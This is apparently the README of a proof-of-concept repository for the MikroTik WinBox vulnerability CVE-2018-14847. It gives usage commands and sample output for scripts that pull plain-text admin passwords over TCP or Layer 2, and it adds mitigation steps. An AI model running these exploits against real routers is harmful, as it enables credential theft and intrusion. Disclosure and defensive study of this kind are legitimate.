BasuCert/WinboxPoC: Proof of Concept of Winbox Critical Vulnerability (CVE-2018-14847)

This is a proof of concept of the critical WinBox vulnerability (CVE-2018-14847) which allows for arbitrary file read of plain text passwords.

The vulnerability has long since been fixed, so this project has ended and will not be supported or updated anymore. You can fork it and update it yourself instead.

Blogpost

https://n0p.me/winbox-bug-dissection/

Requirements

Python 3+

This script will NOT run with Python 2.x or lower.

How To Use

The script is simple used with simple arguments in the commandline.

WinBox (TCP/IP)

Exploit the vulnerability and read the password.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Example:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

You can extract files even if the device doesn't have an IP address.

Simple discovery check for locally connected Mikrotik devices.

python3 MACServerDiscover.py

Example:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploit the vulnerability and read the password.

python3 MACServerExploit.py <MAC-ADDRESS>

Example:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Vulnerable Versions

All RouterOS versions from 2015-05-28 to 2018-04-20 are vulnerable to this exploit.

Mikrotik devices running RouterOS versions:

Longterm: 6.30.1 - 6.40.7
Stable: 6.29 - 6.42
Beta: 6.29rc1 - 6.43rc3

For more information see: https://blog.mikrotik.com/security/winbox-vulnerability.html

Mitigation Techniques

Upgrade the router to a RouterOS version that include the fix.
Disable the WinBox service on the router.
You can restricct access to the WinBox service to specific IP-addresses wtih the following:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

You may use some Filter Rules (ACL) to deny external access to the WinBox service:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

Limiting access to the mac-winbox service can be done by specifing allowed interfaces:

/tool mac-server mac-winbox

Copyright

Sponsered by Iran's CERTCC(https://certcc.ir). All rights resereved.